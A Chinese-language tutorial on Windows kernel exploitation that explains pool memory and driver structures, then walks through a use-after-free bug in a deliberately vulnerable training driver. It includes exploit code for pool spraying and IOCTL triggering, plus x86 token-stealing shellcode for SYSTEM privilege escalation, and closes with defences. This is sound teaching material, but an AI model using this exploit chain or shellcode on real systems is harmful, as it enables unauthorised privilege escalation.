《 Windows Kernel Pwn 101 》
字数 1692 2025-08-24 07:48:09
Windows Kernel Pwn 101 - Use-After-Free漏洞分析与利用
1. Windows内核基础概念
1.1 进程与线程
-
进程(Process): 计算机系统中正在运行的程序的实例,拥有独立的内存空间和系统资源
- 每个进程有唯一的进程ID(PID)
- 进程可以包含一个或多个线程
- 进程间通过进程间通信机制(IPC)进行数据交换
-
线程(Thread): 进程中的执行单元
- 共享进程的内存空间和系统资源
- 操作系统调度的基本单位
- 提高程序的并发性和响应性
1.2 内存管理
-
分页池(Paged Pool): 可分页的内存区域,允许操作系统将页面交换到磁盘
- 适用于较大的数据结构(如文件系统缓存)
- 大小受物理内存和分页文件限制
-
非分页池(Non-Paged Pool): 不可分页的内存区域,始终保持在物理内存中
- 适用于内核数据结构和全局变量
- 分配的内存是固定的,访问速度更快
- 用于存储不希望出现在磁盘上的数据
1.3 I/O管理与驱动程序
-
I/O管理: 协调输入输出设备的数据传输
- 通过设备驱动程序管理设备
- 使用I/O请求包(IRP)进行通信
- 包含中断处理和DMA操作
-
驱动程序: 控制硬件设备的特殊软件
- 通过操作硬件寄存器、内存映射等方式与硬件交互
- 主要结构包括:
- 驱动程序对象(Driver Object)
- 设备对象(Device Object)
- IRP对象
2. 关键数据结构
2.1 进程和线程数据结构
- EPROCESS结构: 包含进程的基本信息和线程列表
- ETHREAD结构: 表示线程的信息(状态、优先级、堆栈指针等)
2.2 内存管理数据结构
- POOL_HEADER结构: 表示内存块的基本信息(大小、使用情况等)
- 内存分配/释放函数:
ExAllocatePoolWithTagExFreePoolWithTag
2.3 驱动程序结构
- 驱动程序对象: 驱动程序的入口点和特定信息
- 设备对象: 驱动程序与设备间的接口
- IRP对象: 表示I/O请求的结构
- 包含请求类型、缓冲区指针、状态等信息
- 通过IOCTL(Input/Output Control)机制与用户空间通信
3. Use-After-Free漏洞分析
3.1 漏洞原理
- 释放后重用(Use-After-Free): 程序释放内存后仍使用原指针
- 类比:
- 房子(对象)被拆除(释放内存)
- 钥匙(指针)未被销毁
- 用钥匙访问原地址可能访问到新建筑(不同数据)
3.2 漏洞代码分析
// 全局指针
PUSE_AFTER_FREE g_UseAfterFreeObject = NULL;
NTSTATUS AllocateUaFObject() {
PUSE_AFTER_FREE UseAfterFree = (PUSE_AFTER_FREE)ExAllocatePoolWithTag(
NonPagedPool, sizeof(USE_AFTER_FREE), (ULONG)POOL_TAG);
g_UseAfterFreeObject = UseAfterFree; // 全局指针指向分配的内存
// ... 其他初始化代码 ...
}
NTSTATUS FreeUaFObject() {
ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
// 漏洞点: 未将g_UseAfterFreeObject置为NULL
}
NTSTATUS UseUaFObject() {
if (g_UseAfterFreeObject->Callback) {
g_UseAfterFreeObject->Callback(); // 使用已释放的内存
}
}
3.3 漏洞利用条件
- 分配UAF对象
- 释放UAF对象但不置空指针
- 分配伪造对象占据原内存空间
- 通过原指针使用UAF对象(实际调用伪造对象的回调函数)
4. 漏洞利用技术
4.1 非分页池堆喷(Non-Paged Pool Spray)
- 目的: 控制内存布局,提高伪造对象覆盖UAF对象的概率
- 步骤:
- 分配大量0x58大小的对象(IoCompletionReserve)
- 释放部分对象创建"空洞"
- UAF对象分配时填充这些空洞
- 释放UAF对象后,用伪造对象填充空洞
4.2 关键利用代码
// 1. 堆喷填充非分页池
auto handles = spray_pool(poolAllocs);
// 2. 创建空洞(释放部分对象)
for (int i = 0; i < handles.second.size(); i++) {
if (i % 2) {
CloseHandle(handles.second[i]);
handles.second[i] = NULL;
}
}
// 3. 分配UAF对象
DeviceIoControl(dev, HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT, ...);
// 4. 释放UAF对象
DeviceIoControl(dev, HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT, ...);
// 5. 分配伪造对象
BYTE payloadBuffer[0x58] = {0};
memcpy(payloadBuffer, &shellcode_addr, 4); // 设置回调函数指针
for (int i = 0; i < handles.second.size() / 2; i++) {
DeviceIoControl(dev, HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT,
payloadBuffer, sizeof(payloadBuffer), ...);
}
// 6. 触发UAF
DeviceIoControl(dev, HACKSYS_EVD_IOCTL_USE_UAF_OBJECT, ...);
4.3 Shellcode构造
"\x60" // pushad
"\x64\xA1\x24\x01\x00\x00" // mov eax, fs:[KTHREAD_OFFSET]
"\x8B\x40\x50" // mov eax, [eax + EPROCESS_OFFSET]
"\x89\xC1" // mov ecx, eax (Current _EPROCESS)
"\x8B\x98\xF8\x00\x00\x00" // mov ebx, [eax + TOKEN_OFFSET]
"\xBA\x04\x00\x00\x00" // mov edx, 4 (SYSTEM PID)
"\x8B\x80\xB8\x00\x00\x00" // mov eax, [eax + FLINK_OFFSET]
"\x2D\xB8\x00\x00\x00" // sub eax, FLINK_OFFSET
"\x39\x90\xB4\x00\x00\x00" // cmp [eax + PID_OFFSET], edx
"\x75\xED" // jnz
"\x8B\x90\xF8\x00\x00\x00" // mov edx, [eax + TOKEN_OFFSET]
"\x89\x91\xF8\x00\x00\x00" // mov [ecx + TOKEN_OFFSET], edx
"\x61" // popad
"\xC3" // ret
5. 完整利用步骤
- 初始化通信: 获取驱动程序句柄
- 内存布局准备:
- 使用
NtAllocateReserveObject进行堆喷 - 释放部分对象创建空洞
- 使用
- UAF对象操作:
- 分配UAF对象
- 释放UAF对象(保留悬空指针)
- 伪造对象分配:
- 分配包含恶意shellcode地址的伪造对象
- 填充释放的内存空洞
- 触发漏洞:
- 通过原指针调用UAF对象的回调函数
- 实际执行shellcode(提权)
- 生成Shell: 创建system权限的cmd.exe
6. 防御措施
- 安全编码实践:
- 释放内存后立即置空指针
- 使用安全的内存管理函数
- 缓解技术:
- 启用池内存保护(Pool Memory Protection)
- 使用安全非分页池(Secure Non-Paged Pool)
- 启用控制流防护(CFG)
- 检测方法:
- 静态分析检测悬空指针
- 动态分析监控异常内存访问